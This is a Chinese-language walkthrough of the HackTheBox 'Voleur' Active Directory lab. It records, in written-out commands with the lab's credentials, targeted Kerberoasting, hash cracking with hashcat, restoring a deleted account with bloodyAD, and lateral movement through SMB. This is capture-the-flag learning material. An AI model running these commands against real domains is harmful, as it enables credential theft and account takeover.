当前我们的用户属于FIRST-LINE TECHNICIANS

属于远程组用户有两个，我更倾向于JEREMY.COMBS

Targeted Kerberoasting

我们拥有了svc_ldap 和 svc_iis 的密码

并且 svc_ldap 拥有对 svc_winrm 的 WirteSPN

可以使用 Targeted Kerberoasting 攻击，Tools：https://github.com/ShutdownRepo/targetedKerberoast

➜  Voleur getTGT.py voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.10.11.76 -k
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_ldap.ccache

➜  Voleur export KRB5CCNAME=svc_ldap.ccache

python targetedKerberoast.py -v -d voleur.htb --dc-ip 10.10.11.76 --dc-host dc.voleur.htb -u svc_ldap -k --no-pass

PS：不清楚为什么todd.wolfe 被删掉了还能拿到，可能是被其他人恢复了，题目应该是要我们恢复账户的

使用hashcat破解

➜  targetedKerberoast hashcat -h | grep Kerberos
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol

➜  Voleur hashcat -m 13100 kerberos_TGS_23 /usr/share/wordlists/rockyou.txt

最后可以拿到svc_winrm 的密码 AFireInsidedeOzarctica980219afi

尝试winrm登录

➜  Voleur getTGT.py voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76 -k

恢复账户

之前的xlsx中有被删除的用户Todd.Wolfe，我们查看一下是否存在

新版本中的 BloodyAD可以对已删除的用户进行恢复了，免去了很多操作

侦查是否有被删除用户：

// 通过 RunasCs.exe 获得的 Shell
PS C:\Windows\system32> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects

Deleted           : True

ObjectClass       : user
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db

// 通过 BloodyAD
➜  Voleur bloodyAD -d voleur.htb --host dc.voleur.htb -u svc_ldap -k get search --filter "(isDeleted=TRUE)" --attr distinguishedName -c 1.2.840.113556.1.4.2064 |grep Todd
distinguishedName: CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb

使用BloodyAD恢复账户

➜  Voleur bloodyAD -d voleur.htb --host dc.voleur.htb -u svc_ldap -k set restore todd.wolfe 
[+] todd.wolfe has been restored successfully under CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb

恢复后，我们将BloodHound数据更新一下

➜  Voleur bloodhound-python -k -d 'voleur.htb' -ns 10.10.11.76 --zip -c All -dc 'DC.voleur.htb' -u todd.wolfe -p NightT1meP1dg3on14

getTGT.py voleur.htb/todd.wolfe:'NightT1meP1dg3on14' -dc-ip 10.10.11.76 -k

DPAPI

我们下一个用户应该是Jeremy.Combs 因为他有 Has access to Software folder.

我们从todd.wolfe寻找可以横向的方法

可以看到todd属于SECOND_LINE ，看一下SMB

➜  Voleur export KRB5CCNAME=todd.wolfe.ccache

➜  Voleur nxc smb DC.voleur.htb -u todd.wolfe -d voleur.htb -k --use-kcache --smb-timeout 9999
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\todd.wolfe from ccache

使用smbclient.py 进行连接，nxc会有点问题

得到jeremy.combs 账户密码 qT3V9pLXyN7W4m

通过表格能知道 jeremy 拥有 Has access to Software folder.

getTGT.py voleur.htb/jeremy.combs:'qT3V9pLXyN7W4m' -dc-ip 10.10.11.76 -k

Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

然后id_rsa是SSH私钥，给了私钥，那么就应该可以进行SSH登录，用户和backup有关的

那么就是svc_backup
